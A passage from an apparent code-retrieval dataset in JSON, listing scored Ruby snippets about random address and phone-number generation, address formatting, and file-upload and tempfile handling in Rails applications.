"text": "def randomize_location\n if self.auto_generated\n self.latitude = rand(40.60000..40.88600)\n self.longitude = rand(-74.08089..-72.21063)\n end\n end",
"title": ""
},
{
"docid": "59c817e4ab4b066c714f7ed574edccf2",
"score": "0.61351204",
"text": "def zipcode\n \"%05d\" % rand(99999) \n end",
"title": ""
},
{
"docid": "7a02f0a0125a3968cb9fff89853d36b3",
"score": "0.61221427",
"text": "def randomizeCoordinate(location,radius)\n coordinates = Geocoder.coordinates(location)\n lat,lng=RandomLocation.near_by(coordinates[0], coordinates[1], radius) # radius in meters; 8046 is about 5 miles\n return lat,lng\n end",
"title": ""
},
{
"docid": "7d2fd8f76005537332562cdfbc6c558b",
"score": "0.6119455",
"text": "def random_area\n location = Location.all.sample\n blank_spacer(4)\n puts \" - #{location.name} - \".upcase\n puts \"\"\n puts \" This location primarily consists of #{location.terrain} terrain.\"\n puts \" It is located at #{location.coordinates}.\"\n blank_spacer(4)\nend",
"title": ""
},
{
"docid": "4c26f31f351516694a10225dff76f750",
"score": "0.6117779",
"text": "def get_random_phone\n range = (0..9)\n range.map { range.to_a[rand(range.size)] }.join\nend",
"title": ""
},
{
"docid": "865731ce64680d51f3c55dcd6fd91c29",
"score": "0.6115393",
"text": "def random_country\n countries = [\n \"England\", \"France\", \"Germany\", \"Canada\", \"Austalia\",\n \"United States\", \"Ukraine\", \"Netherlands\", \"Spain\",\n \"Japan\", \"China\"]\n \n countries[rand(11)]\nend",
"title": ""
},
{
"docid": "09e5b919250f241eeefcc7b001cf46ea",
"score": "0.611145",
"text": "def get_random_city_state\n CITY_STATES[rand(CITY_STATES.size)]\nend",
"title": ""
},
{
"docid": "87f797c7d1a7af1bd91b20626f050dfa",
"score": "0.61078143",
"text": "def full_address\n address\n end",
"title": ""
},
{
"docid": "c892fec11e622fa9a4b27a2f26e8ce78",
"score": "0.6096652",
"text": "def full_address\n \"#{address} #{house_number} #{house_number_extension}, #{zipcode} #{city} #{country}\"\n end",
"title": ""
},
{
"docid": "33dbe1ee4687573fb12f71252a45452c",
"score": "0.60961497",
"text": "def street_only\n\t\t\t@door.address = @door.address.partition(\",\")[0]\t\t\n\t\tend",
"title": ""
},
{
"docid": "e64318d5f308f5e6373511d61a59927c",
"score": "0.6088007",
"text": "def full_address\n addr = String.new\n addr << \"#{street1}\"\n # yes, handling commas was a pain - I tried about 10 other ways before settling on this.\n # Fortunately, google maps is insanely smart and can take just about anything.\n # But this is also used by the RSS reader, so it needs to work well.\n addr << (addr == \"\" ? \"#{street2}\" : \", #{street2}\")\n addr << (addr == \"\" ? \"#{city}\" : \", #{city}\")\n addr << (addr == \"\" ? \"#{state}\" : \", #{state}\")\n addr << (addr == \"\" ? \"#{zip}\" : \" #{zip}\")\n return addr\n end",
"title": ""
},
{
"docid": "2387de7519930efc6d431f8d2f3a2974",
"score": "0.6074009",
"text": "def full_address\n street_address + ' ' + postcode + ' ' + city\n end",
"title": ""
},
{
"docid": "a0f7fe26fb8ee17fea1d90152b3dde21",
"score": "0.606723",
"text": "def address\r\n if(house && street && postcode)\r\n return house + \" \" + street + \", \" + postcode\r\n else\r\n return nil\r\n end\r\n end",
"title": ""
},
{
"docid": "8f09905d54420d7a1fbca0ba494af28f",
"score": "0.6058232",
"text": "def country\n Faker::Address.country\n end",
"title": ""
},
{
"docid": "8f09905d54420d7a1fbca0ba494af28f",
"score": "0.6058232",
"text": "def country\n Faker::Address.country\n end",
"title": ""
},
{
"docid": "00323947d97a3482bd374d283e4cd37e",
"score": "0.6047389",
"text": "def test_angels_camp_to_nevada_city\n\t\texpected_location = \"Nevada City\"\n\t\t@test_sim.stub(:random_num, 0) do\n\t\t\tassert_equal expected_location, @test_sim.next_location(\"Angels Camp\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "6d4266c75ebb2a1096eea475236a906a",
"score": "0.60458916",
"text": "def full_address\n \t\"#{address_street}, #{address_city}, #{address_state} #{address_zip}\"\n end",
"title": ""
},
{
"docid": "0eff503cbd601371036bbe726d94fd28",
"score": "0.603274",
"text": "def random_phone_numbers\n phone_number = \"9\"\n 8.times do\n phone_number += rand(0..9).to_s\n end\n phone_number\nend",
"title": ""
},
{
"docid": "54fbe14ebb28929e6c9f23a0922cdd55",
"score": "0.6013504",
"text": "def street_address=(address)\n @street_address = if address && provider != 'google'\n Geokit::Inflector::titleize(address)\n else\n address\n end\n end",
"title": ""
},
{
"docid": "ad240415b7719da0de1bd9137554e35e",
"score": "0.60039824",
"text": "def make_address(street, city, state, zip)\n\tputs \"You live at \"+street+\", in the beautiful city of \"+city.capitalize+\", \"+state.capitalize+\". Your zip is \"+zip.to_s+\".\"\nend",
"title": ""
},
{
"docid": "860fb0de4aea5452a8179572c1a297e3",
"score": "0.60025704",
"text": "def request_saas_for_new_address\n\n r = SaasApi::WalletAddress::Generate.new.perform\n return r unless r.success?\n\n @new_known_address = r.data[:address].downcase\n @known_address_id = r.data[:known_address_id]\n\n\n success\n end",
"title": ""
},
{
"docid": "1402c98c638eee755e7b8722e0c0db32",
"score": "0.60006505",
"text": "def get_street\n self.street_address\n end",
"title": ""
},
{
"docid": "959ccc8b5acb6425de17f892ffcf9325",
"score": "0.5998277",
"text": "def create_billing_address(customer_id, num_states)\n billing_state = State.all[rand(num_states)]\n billing_address = Address.create!(\n street: Faker::Address.street_address,\n city: Faker::Address.city,\n state: billing_state,\n zipcode: Faker::Address.zip\n )\n\n CustomersBillingAddress.create!(customer_id: customer_id, address: billing_address)\nend",
"title": ""
},
{
"docid": "2b04c1a4496c8ebc82ba0b593d0be5b9",
"score": "0.59957385",
"text": "def make_address(street, city, state, zip)\n\t\"You live at #{street}, in the beautiful city of #{city}, #{state}. Your zip is #{zip}.\"\nend",
"title": ""
},
{
"docid": "3119154f275846c1aee7219dcd7f2549",
"score": "0.59882134",
"text": "def street_address=(address)\n @street_address = if address && provider != 'google'\n Geokit::Inflector.titleize(address)\n else\n address\n end\n end",
"title": ""
},
{
"docid": "7fac50ab6ee2a8b322897fddeebc7d58",
"score": "0.59833574",
"text": "def street_address\n self.dig_for_string(\"officeSummary\", \"officeAddress\", \"streetAddress\")\n end",
"title": ""
},
{
"docid": "a65a58ed3a034013dcb0167312cfda73",
"score": "0.5982057",
"text": "def payer_street_address(*options)\n\t\t\tpayer_address_one\n\t\tend",
"title": ""
},
{
"docid": "cdafcd0541ac56e3e2c258062c65e16a",
"score": "0.597877",
"text": "def create_billing_address(customer_id, num_states)\n\tbilling_state = State.all[rand(num_states)]\n\tbilling_address = Address.create!(\n\t\t\tstreet: Faker::Address.street_address,\n\t\t\tcity: Faker::Address.city,\n\t\t\tstate: billing_state,\n\t\t\tzipcode: Faker::Address.zip\n\t\t)\n\n\t\tCustomersBillingAddress.create!(customer_id: customer_id, address: billing_address)\n\nend",
"title": ""
},
{
"docid": "19c8aa5047edfc44ff8c95efdb1a0c5b",
"score": "0.5973666",
"text": "def main_address\n addresses.first\n end",
"title": ""
},
{
"docid": "7209f44efb6a03a754de5b1a2187604b",
"score": "0.59724325",
"text": "def country_name\n prefixes = [\n 'The Republic of ',\n \"The People's Forgotten Union of \",\n \"\",\n \"Saint \",\n \"Plurinational State of \"\n ]\n suffixes = [\n \" Islands\",\n \"ania\",\n \" Republic\"\n\n ]\n \n\n case rand(100) + 1\n when 1..25\n return prefixes.sample + Faker::Space.meteorite\n when 26..36\n return Faker::Space.meteorite + suffixes.sample\n else\n return Faker::Space.meteorite\n end\nend",
"title": ""
},
{
"docid": "6913cb3e7690cd0cb25f0986ed3e1303",
"score": "0.5969699",
"text": "def street_address(include_secondary: false)\n numerify(parse('address.street_address') + (include_secondary ? \" #{secondary_address}\" : ''))\n end",
"title": ""
},
{
"docid": "7dca130b62eda0199cb50f6254c29977",
"score": "0.59684783",
"text": "def get_full_address\n \"#{address} #{get_city_full_name}\"\n end",
"title": ""
},
{
"docid": "c7f9981127a06b270281ff6dbe22509f",
"score": "0.596393",
"text": "def make_address(street, city, state, zip)\nend",
"title": ""
},
{
"docid": "00d9ee9411f0fe44703bf8ef11b510d2",
"score": "0.59581447",
"text": "def full_address\n \"#{address}, #{suburb}, #{state}, Australia\"\n end",
"title": ""
},
{
"docid": "2de512846452cb1e7e310e9d431c6432",
"score": "0.595755",
"text": "def get_street_location\n address = self.address\n return address.street_number + address.street_name + address.city + address.state + address.zip\n end",
"title": ""
},
{
"docid": "afe1923b36d0ff47392a0ee2e29b6482",
"score": "0.59522796",
"text": "def full_address\n address + \", \" + location + \" \" + postcode.to_s\n end",
"title": ""
},
{
"docid": "b0543f4c3d7f7c2eb2424ca215f38dca",
"score": "0.59516907",
"text": "def make_address (street, city, state, zip)\n return \"You live at #{street}, in the beautiful city of #{city}, #{state}. Your zip is #{zip}.\"\nend",
"title": ""
}
] |
ddcf63cfd59d9def473cd8f343b3d7f7 | method that matches uploads to operations with a temporary[filename_key] | [
{
"docid": "7d98af922b6da5d340268e080f89baf8",
"score": "0.6878121",
"text": "def match_upload_to_operations ops, filename_key, job_id=nil, uploads=nil\n def extract_basename filename\n ext = File.extname(filename)\n basename = File.basename(filename, ext)\n end\n \n op_to_upload_hash = Hash.new\n uploads ||= Upload.where(\"job_id\"=>job_id).to_a if job_id\n if uploads\n ops.each do |op|\n upload = uploads.select do |u|\n basename = extract_basename(u[:upload_file_name])\n basename.strip.include? op.temporary[filename_key].strip\n end.first || nil\n op_to_upload_hash[op] = upload\n end\n end\n op_to_upload_hash\n end",
"title": ""
}
] | [
{
"docid": "4d251a4906696b1f727c2736193095e7",
"score": "0.7030484",
"text": "def match_upload_to_operations ops, filename_key, job_id=nil, uploads=nil\n def extract_basename filename\n ext = File.extname(filename)\n basename = File.basename(filename, ext)\n end\n \n op_to_upload_hash = Hash.new\n uploads ||= Upload.where(\"job_id\"=>job_id).to_a if job_id\n if uploads\n ops.each do |op|\n upload = uploads.select do |u|\n basename = extract_basename(u[:upload_file_name])\n op.temporary[filename_key].strip == basename.strip\n end.first || nil\n op_to_upload_hash[op] = upload\n end\n end\n op_to_upload_hash\n end",
"title": ""
},
{
"docid": "9fdc5255804ea39d644280e831b8fee6",
"score": "0.6996944",
"text": "def match_upload_to_operations ops, filename_key, job_id=nil, uploads=nil\n def extract_basename filename\n ext = File.extname(filename)\n basename = File.basename(filename, ext)\n end\n\n op_to_upload_hash = Hash.new\n uploads ||= Upload.where(\"job_id\"=>job_id).to_a if job_id\n if uploads\n ops.each do |op|\n upload = uploads.select do |u|\n basename = extract_basename(u[:upload_file_name])\n op.temporary[filename_key].strip == basename.strip\n end.first || nil\n op_to_upload_hash[op] = upload\n end\n end\n op_to_upload_hash\n end",
"title": ""
},
{
"docid": "1b2cb4daacd2707f4f6c5041c5064548",
"score": "0.68734753",
"text": "def uploadFile(key = \"\")\n key = 0 < key.length ? key : self.dispatched.fileName\n self.bucket.put(key, self.string)\n self.clear\n end",
"title": ""
},
{
"docid": "6170864fc4b4dc4e87661f4f3bdff2d2",
"score": "0.66769654",
"text": "def upload_to_store\n Store.set(self.filename, self.tmp_filepath)\n end",
"title": ""
},
{
"docid": "b1d6ba2d8943825c958812c79ffdf723",
"score": "0.64302766",
"text": "def match_upload_to_operations(ops, filename_key, job_id = nil, uploads = nil)\n def extract_basename(filename)\n ext = File.extname(filename)\n basename = File.basename(filename, ext)\n end\n\n op_to_upload_hash = {}\n uploads ||= Upload.where('job_id' => job_id).to_a if job_id\n if uploads\n ops.each do |op|\n upload = uploads.select do |u|\n basename = extract_basename(u[:upload_file_name])\n basename.strip.include? op.temporary[filename_key].strip\n end.first || nil\n op_to_upload_hash[op] = upload\n end\n end\n op_to_upload_hash\n end",
"title": ""
},
{
"docid": "234e69554bf4f0bcee6bb07174939a49",
"score": "0.6398333",
"text": "def upload(filename)\n end",
"title": ""
},
{
"docid": "b92f15d1de61e7e733275eb911dbd814",
"score": "0.63319546",
"text": "def file_first(name, &blk)\n \n define_action \"#{name}_request_tempfile\".to_sym do\n id = \"#{self.class.to_s}_#{name}_#{Time.now.to_i.to_s}_#{rand(9999999).to_s}\"\n File.open(File.join(APP_ROOT, \"tmp\", id), \"w\") {|f| f.write \"\"}\n current_user.transmit(\"App.tempfile\" => {id: id, req_id: params[\"req_id\"]})\n end\n \n define_action \"#{name}_receive_file\".to_sym do\n File.open(File.join(APP_ROOT, \"tmp\", params[\"id\"]), \"ab\") {|f| f.write Base64.decode64(params[\"chunk\"])}\n if params[\"complete\"]\n current_user.transmit({\"App.finished_upload\" => {id: params[\"id\"], req_id: params[\"req_id\"]}})\n end\n end\n end",
"title": ""
},
{
"docid": "783988d423842b43e99321b939319613",
"score": "0.62529075",
"text": "def file_name\n uploaded_file_file_name\nend",
"title": ""
},
{
"docid": "d175fe1754bb2e8ccccf383950a95275",
"score": "0.62038875",
"text": "def tmp_filepath\n private_filepath(self.filename)\n end",
"title": ""
},
{
"docid": "f91cb96b42e78d3768f9da0c71a589db",
"score": "0.6155858",
"text": "def tmp_files=(_); end",
"title": ""
},
{
"docid": "f91cb96b42e78d3768f9da0c71a589db",
"score": "0.6155858",
"text": "def tmp_files=(_); end",
"title": ""
},
{
"docid": "f91cb96b42e78d3768f9da0c71a589db",
"score": "0.6155858",
"text": "def tmp_files=(_); end",
"title": ""
},
{
"docid": "ca93d0e4fffcaf02aa7be557948a3af3",
"score": "0.6140758",
"text": "def store_file_object_in_triple_store(file_uuid, file_name, original_file_name, uploaded_at, status)\n update(generate_query(file_uuid, file_name, original_file_name, uploaded_at, status))\nend",
"title": ""
},
{
"docid": "24eb0a0563b2bed2a52a10377e3b8a7a",
"score": "0.6121534",
"text": "def add_file\n\n uploaded = UploadedFile.create params.permit( :file )\n filename = APIV1FilesController.cache_file_from_url( uploaded.file.url )\n key = APIV1FilesController.cache_key_from_url( uploaded.file.url )\n\n # audit the information\n audit_log( \"File #{filename} uploaded by #{User.cid_from_email( @api_user.email)}\" )\n\n render_upload_response( :ok, key )\n\n end",
"title": ""
},
{
"docid": "3fd2c6170480b4c21d5f899e1f70c54b",
"score": "0.60960555",
"text": "def file_name\n uploaded_file_file_name\n end",
"title": ""
},
{
"docid": "dd2b16bddfa7f4705c2d78d4c6c06851",
"score": "0.60820836",
"text": "def store_upload\n storage_adapter.store temp_path, storage_path unless temp_path.nil?\n end",
"title": ""
},
{
"docid": "c7d8ad0f41b62af358c71613fc34647f",
"score": "0.6072973",
"text": "def uploaded_file(object, &block)\n if (hash = object).is_a?(Hash) && !hash.key?(\"storage\")\n hash.inject({}) do |result, (name, data)|\n result.update(name.to_sym => uploaded_file(data, &block))\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "bbe8088280391e2a02b496a0ff5cc0d3",
"score": "0.6052822",
"text": "def file_name \n upload_file_file_name \nend",
"title": ""
},
{
"docid": "6ecb313442e65ce836c23ec44173f925",
"score": "0.60477304",
"text": "def file_path\n [:photos, username, file_key, original_filename].join('/')\n end",
"title": ""
},
{
"docid": "e5405b9e1a56d759bc8d3d66571498cc",
"score": "0.6039056",
"text": "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:); end",
"title": ""
},
{
"docid": "94eac05fccbb6e4ee932c5c1c5729ec6",
"score": "0.60161495",
"text": "def save_temp(nw_id)\n \n#the creation of uploads folder is necessary as tmp/ folder is not added to git. remove when in prod.\n uploads_folder = File.join( Rails.root.to_s, \"/tmp/uploads/\" )\n unless File.exists?( uploads_folder ) && File.directory?( uploads_folder )\n Dir.mkdir( uploads_folder )\n end\n\n uploads_folder += nw_id.to_s + '/'\n unless File.exists?( uploads_folder ) && File.directory?( uploads_folder )\n Dir.mkdir( uploads_folder )\n end\n\n#Create directory with data_owner_id under tmp/\n temp_dir = uploads_folder\n Dir.mkdir( temp_dir ) unless File.exists?( temp_dir ) && File.directory?( temp_dir )\n self.location = temp_dir\n\n save_as = self.location + self.filename\n if File.exists?( save_as )\n i = 1\n while File.exists?( save_as )\n temp_filename = add_to_filename(self.filename, i.to_s)\n save_as = self.location + temp_filename\n i += 1\n end\n self.filename = temp_filename\n else\n save_as = self.location + self.filename\n end\n\n mode = 'w'\n File.open( save_as.to_s, mode ) do |file|\n file.write( self.file.read.force_encoding('UTF-8') )\n end\n\n self.update_attribute(:status, 'Pending Import')\n end",
"title": ""
},
{
"docid": "e6b89aca309de0885a0cff5220376887",
"score": "0.601214",
"text": "def store_uploaded_file(uploaded_file)\n uploaded_file.original_filename = \"#{Time.now.to_i}_#{File.basename(uploaded_file.original_filename)}\"\n file = XlsUploader.new\n file.store!(uploaded_file)\n return file\n end",
"title": ""
},
{
"docid": "3eb88e4541cdf24a34421b5e7fbc8255",
"score": "0.6010225",
"text": "def assign uploaded_file\n ensure_required_accessors!\n\n # загрузка через nginx\n if uploaded_file.is_a?(Hash) && uploaded_file.has_key?('original_name')\n u = uploaded_file\n uploaded_file = FastUploadFile.new(uploaded_file)\n log \"fast upload: #{u.inspect}\"\n end\n\n if uploaded_file.is_a?(Paperclip::Attachment)\n uploaded_file = uploaded_file.to_file(:original)\n close_uploaded_file = uploaded_file.respond_to?(:close)\n end\n\n if image_content_type?(uploaded_file)\n # FastImage don`t rewind file if it was read before.\n uploaded_file.rewind if uploaded_file.respond_to?(:rewind)\n sizes = FastImage.size(uploaded_file)\n\n unless valid_image_resolution?(sizes)\n errors[:base] = :too_large_resolution\n @validated = true # Skip other validations to prevent unnecessary messages\n return\n end\n end\n\n return unless valid_assignment?(uploaded_file)\n\n uploaded_file.binmode if uploaded_file.respond_to? :binmode\n self.clear\n\n return if uploaded_file.nil?\n\n queued_for_write[:original] = to_tempfile(uploaded_file)\n\n file_name = uploaded_file.original_filename\n sanitizer = self.class.options[:filename_sanitizer]\n file_name = sanitizer ? sanitizer.call(file_name, self) : sanitize_filename(file_name)\n\n instance_write(:file_name, file_name)\n instance_write(:content_type, uploaded_file.content_type.to_s.strip)\n instance_write(:file_size, uploaded_file.size.to_i)\n instance_write(:updated_at, Time.now)\n if sizes && sizes[0] && sizes[1]\n instance_write(:width, sizes[0])\n instance_write(:height, sizes[1])\n end\n\n @dirty = true\n\n post_process if post_processing && valid?\n\n updater = :\"#{name}_file_name_will_change!\"\n instance.send updater if instance.respond_to? updater\n # Reset the file size if the original file was reprocessed.\n instance_write(:file_size, queued_for_write[:original].size.to_i)\n ensure\n uploaded_file.close if close_uploaded_file\n validate\n end",
"title": ""
},
{
"docid": "f6493c643029a030a16e693899226c56",
"score": "0.6001786",
"text": "def fileupload(filename)\n unless filename &&\n (tempfile = filename[:tempfile]) &&\n (name = filename[:filename])\n @error = \"No file selected\"\n return false\n end\n print \"File #{filename[:filename]} uploaded\"\n fileextension = filename[\"filename\"]\n if File.extname(fileextension) == \".png\" || File.extname(fileextension) == \".jpg\" || File.extname(fileextension) == \".jpeg\"\n target = \"public/img/#{name}\"\n file = {target: target, name: name, tempfile: tempfile}\n return file\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "73091e3e5c44c439a8035fc3b5bcb42b",
"score": "0.59964865",
"text": "def upload_file(bucket, key, data)\r\n bucket.put(key, data)\r\nend",
"title": ""
},
{
"docid": "aaff04065662c6226bdc86e896ee6026",
"score": "0.5976429",
"text": "def tempfile_to_uploaded_file(tempfile)\n if tempfile && tempfile.is_a?(Hash) && tempfile[:tempfile]\n ActionDispatch::Http::UploadedFile.new tempfile\n else\n tempfile\n end\n end",
"title": ""
},
{
"docid": "245ce989591d50775abf5eeb413d5465",
"score": "0.5966842",
"text": "def file_name\n\t\tuploaded_file_file_name\n\tend",
"title": ""
},
{
"docid": "a3e2e00480e15e50443157265c1b8381",
"score": "0.59422725",
"text": "def perform( subj_key )\n @subject = JSON.parse(RedisConnection.get( subj_key ) )\n beam_key_root = subj_key.sub(\"tmp_new\", \"tmp_data_new\")\n keys = RedisConnection.keys( beam_key_root + \"_?\")\n \n keys.each do |key|\n @data = JSON.parse(RedisConnection.get(key))\n key_parse = key.split(\"_\")\n @file_root = \"tmp_observation_\" + key_parse[0] + \"_\" + key_parse.last\n #log_entry(\"uploading data\")\n @path_to_data = upload_file( \"data/\" + @file_root + \".jsonp\", \"observation(#{@data});\" )\n @image_urls = generate_images\n #log_entry(\"uploading images\")\n urls = [@image_urls[:image], @image_urls[:thumb], @path_to_data]\n new_data_key = key.sub( \"_tmp_\", \"_subject_\")\n RedisConnection.setex(new_data_key, RedisConnection.ttl(key), urls.to_json )\n RedisConnection.del( key )\n\n end\n new_subj_key = subj_key.sub( \"_tmp_\", \"_subject_\" )\n RedisConnection.rename( subj_key, new_subj_key )\n RedisConnection.expire( new_subj_key, RedisConnection.ttl(\"subject_timer\") )\n end",
"title": ""
},
{
"docid": "ccd5404417a43428b9dc691becde750b",
"score": "0.5932519",
"text": "def after_save\n super rescue nil\n unless @tempfile_path.nil? \n if @tempfile_path.empty?\n raise \"upload/StorageFilesystem: got empty tempfile path; is the form enctype multipart/form-data?\" \n end\n $log.debug \"upload/StorageFilesystem: going to store the tempfile\"\n upload_dir = local_upload_files_dir()\n D::mkdir(upload_dir) unless F::exist?(upload_dir)\n @tempfile_path.each do |k,v|\n destroy_files_for(k) # Destroy previously saved files\n path = upload_local_path(k)\n FU.move(v, path) # Save the new one\n FU.chmod(0777, path)\n after_upload(k)\n end\n # Reset in case we access two times the entry in the same session\n # Like setting an attachment and destroying it in a row\n # Dummy ex: Model.create(:img => file).update(:img => nil)\n @tempfile_path = nil\n end\n end",
"title": ""
},
{
"docid": "0abd5dcf72c084b606f3932b6306e72f",
"score": "0.5923185",
"text": "def upload_path(key)\n return nil if key.nil?\n File.join(DATA_FILES, key)\n end",
"title": ""
},
{
"docid": "dd3636f2d1129c417ae84b2d20eff3dc",
"score": "0.5898592",
"text": "def store(value)\n f = @@form.clone\n f[\"fileinput[0]\"] = {content: value, filename: \"title.png\", type: \"image/png\"}\n r = Turf::multipart(\"http://cubeupload.com/upload_json.php\", f)\n r.run\n key = JSON.parse(r.response.content)['file_name']\n puts \"@store #{key}\"\n key\n end",
"title": ""
},
{
"docid": "1f658cd02c32aef6aff9ef3876ad0bff",
"score": "0.5892504",
"text": "def upFile(flag, name)\n\n Dir[@temp_directory+name].each do |file|\n name_file = File.basename(file)\n\n if (flag == true)\n @logger.warn \"S3: have found temporary file: \"+name_file+\", something has crashed before... Prepare for upload in bucket!\"\n end\n\n if (!File.zero?(file))\n write_on_bucket(file, name_file)\n\n if (flag == true)\n @logger.debug \"S3: file: \"+name_file+\" restored on bucket \"+@bucket\n else\n @logger.debug \"S3: file: \"+name_file+\" was put on bucket \"+@bucket\n end\n end\n\n File.delete (file)\n\n end\n end",
"title": ""
},
{
"docid": "60590632548e43efe3e1eb17258f959f",
"score": "0.58879703",
"text": "def upload_file(filename)\n LOG.info \" Attempting upload of #{filename}\"\n if @skip_duplicates && found = find_document(filename)\n LOG.info \" * Not uploaded - #{filename} is a duplicate of #{found}\"\n elsif docid = submit_document(filename)\n # If we had success, put the DocID on the end of the file\n rename_file(filename, docid)\n LOG.info \" * Uploaded - #{filename} as #{docid}\"\n else\n LOG.info \" * Not uploaded - #{filename} submission was not successful.\"\n end\n end",
"title": ""
},
{
"docid": "46a49fbfdffc8913489956f88d00faf4",
"score": "0.58719563",
"text": "def uploads(*name) end",
"title": ""
},
{
"docid": "74a46a4ef711046f1b95ddcb50b0f80a",
"score": "0.5866316",
"text": "def file_from(request, key, value)\n # direct to rails...\n # ----->\n # key: file,\n # value: {\n # :filename =>\"file.mov\",\n # :type =>\"video/quicktime\",\n # :tempfile =>#<File:/var/folders/xn/x665dh2j6qx_t7w5bqcsfgcr0000gn/T/RackMultipart20120330-11052-1ysyd0c>,\n # :name =>\"video[file]\",\n # :head =>\"Content-Disposition: form-data; name=\\\"video[file]\\\"; filename=\\\"file.mov\\\"\\r\\nContent-Type: video/quicktime\\r\\n\"\n # }\n\n # with nginx upload (configured per README)...\n # ----->\n # key: file,\n # value: {\n # \"filename\"=>\"file.mov\",\n # \"type\" =>\"video/quicktime\",\n # \"tempfile\"=>\"/path/to/app/tmp/uploads/1/0000000001\",\n # \"md5\" =>\"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n # \"size\" =>\"5242880000\"\n # }\n\n if value.is_a?(Hash)\n attributes = HashWithIndifferentAccess.new(value)\n tempfile = attributes[:tempfile]\n\n if tempfile.present?\n # check for \"chunked\" upload\n if attributes[:filename] == 'blob'\n temppath = tempfile.is_a?(String) ? tempfile : tempfile.path\n storage = ::File.expand_path(::File.join(temppath, '../../chunked'))\n uploader = request.params['uploader']\n combined = ::File.join(storage, uploader)\n fullsize = request.env['HTTP_X_FILE_SIZE'].to_i\n\n # append chunk to \"combined\" File\n FileUtils.mkdir_p(storage)\n ::File.open(combined, 'ab') do |f|\n f.write(::File.read(tempfile))\n end\n\n # finished?\n if ::File.size(combined) == fullsize\n attributes = {\n :filename => request.env['HTTP_X_FILE_NAME'],\n :size => request.env['HTTP_X_FILE_SIZE'],\n :type => request.env['HTTP_X_FILE_TYPE'],\n :tempfile => ::File.new(combined)\n }\n\n return Rack::LargeUploads::UploadedFile.new(attributes)\n else\n return Rack::LargeUploads::UploadedChunk.new(attributes)\n end\n else\n return Rack::LargeUploads::UploadedFile.new(attributes)\n end\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "9f91cb97ef8390a8803ef7eedb75e545",
"score": "0.5857389",
"text": "def upload_photo(params)\n local_required_keys = %w{ submit photo action }\n\n# fileName_x\n raise ParameterError unless valid_keys?(params, local_required_keys)\n end",
"title": ""
},
{
"docid": "1b56f2e5942ddd64dbcc9dd2bbacf5b8",
"score": "0.5855218",
"text": "def send_file_upload_attributes(folder_id,name,upload_key,meta_mac,completion_file_handle)\n attribs = {'n' => name}\n encrypt_attribs = base64urlencode(encrypt_file_attributes(attribs, upload_key[0,4]))\n\n key = [upload_key[0] ^ upload_key[4], upload_key[1] ^ upload_key[5],\n upload_key[2] ^ meta_mac[0], upload_key[3] ^ meta_mac[1],\n upload_key[4], upload_key[5], meta_mac[0], meta_mac[1]]\n\n encrypted_key = a32_to_base64(encrypt_key(key, master_key))\n api_request({\n 'a' => 'p',\n 't' => folder_id,\n 'n' => [{\n 'h' => completion_file_handle,\n 't' => 0,\n 'a' => encrypt_attribs,\n 'k' => encrypted_key\n }]\n })\n end",
"title": ""
},
{
"docid": "cce64f6ac7422b21ab2e224c5a3dcfab",
"score": "0.58528286",
"text": "def upload_masterfile(element_key, file, original_filename)\n # file, elementkey , name??\n content_length = file.size\n content_type = 'application/octet-stream; charset=utf-8'\n parameter = { basic_auth: @auth,\n headers: { 'Content-Type' => content_type,\n 'Content-Length' => content_length.to_s,\n 'storageType' => 'MASTER',\n 'filename' => original_filename.to_s },\n body: file.read }\n upload_file element_key, parameter\n end",
"title": ""
},
{
"docid": "3efde746a7b30fc72c63463e085c64e2",
"score": "0.58518225",
"text": "def safe_upload_string_compare\n filename = params[:filename]\n if filename == \"safefile.tar\"\n untar params[:file], filename\n end\n end",
"title": ""
},
{
"docid": "8196d598f81e139d1909ce650090f7eb",
"score": "0.5849063",
"text": "def tempfile(data_or_key, action = nil)\n # FIXME: this is a security risk, check filename if it is sane\n begin\n if action == :unlink and data_or_key.is_a?(String)\n File.unlink(tempfile_prefix + data_or_key)\n elsif action == :data and data_or_key.is_a?(String)\n f=File.open(tempfile_prefix + data_or_key, 'r')\n data = f.read\n f.close\n return data\n elsif data_or_key.respond_to?(:read)\n # Find a new unique filename\n filename = ActiveSupport::SecureRandom.hex(16)\n while (File.exist?(tempfile_prefix + filename))\n filename = ActiveSupport::SecureRandom.hex(16)\n end\n # create the file and close it\n f = File.new(tempfile_prefix + filename, 'w')\n f.write(data_or_key.read)\n f.close\n return filename\n else\n return tempfile_prefix + data_or_key\n end\n rescue Errno::ENOENT, Errno::EISDIR\n end\n end",
"title": ""
},
{
"docid": "ed49a2be98c8e763a9d5dcf69449bf37",
"score": "0.58458847",
"text": "def as_file_upload\n as_json(:only=>[:id, :graveyard_id, :user_id, :caption, :sort_order]).merge({\n name: upload_file_name,\n size: upload_file_size,\n url: path.virtual,\n thumbnailUrl: thumbnail_path.virtual,\n deleteType: 'DELETE',\n deleteUrl: \"/photos/#{id}\"\n })\n end",
"title": ""
},
{
"docid": "a3e92d9e59046103bc71c5cf22ca10b6",
"score": "0.5842977",
"text": "def filename\n original_filename || filename_deduced_from_uploader_object\n end",
"title": ""
},
{
"docid": "50ff404393409f92ead7665ae8ce06f6",
"score": "0.58429366",
"text": "def upload(filename, args={})\n args['index'] = @name\n args['name'] = filename\n path = 'data/inputs/oneshot'\n @service.context.post(path, args)\n end",
"title": ""
},
{
"docid": "67eda745a96687771b927e0f1ab498f7",
"score": "0.58402014",
"text": "def ingest_one(filename, unarranged)\n # do not remove :: \n @generic_file = ::GenericFile.new\n basename = File.basename(filename)\n @generic_file.label = basename\n @generic_file.relative_path = filename if filename != basename\n @generic_file.on_behalf_of = params[:on_behalf_of] if params[:on_behalf_of]\n create_metadata(@generic_file)\n Sufia.queue.push(IngestLocalFileJob.new(@generic_file.id, current_user.directory, filename, current_user.user_key))\n end",
"title": ""
},
{
"docid": "73f3099395b54adc530b5d168722398e",
"score": "0.5832102",
"text": "def quick_upload\n if params.has_key? :from_ie\n @file = current_user.save_in_admin_quick_uploading_cache params[:media], params[:title], params[:description], params[:tags] if params.has_key? :media\n redirect_to '/admin/media_elements/new' \n else\n @file = current_user.save_in_admin_quick_uploading_cache params[:media], params[:title], params[:description], params[:tags]\n end\n end",
"title": ""
},
{
"docid": "ed1eeab91d818c551b08548c5ad8eecd",
"score": "0.5820956",
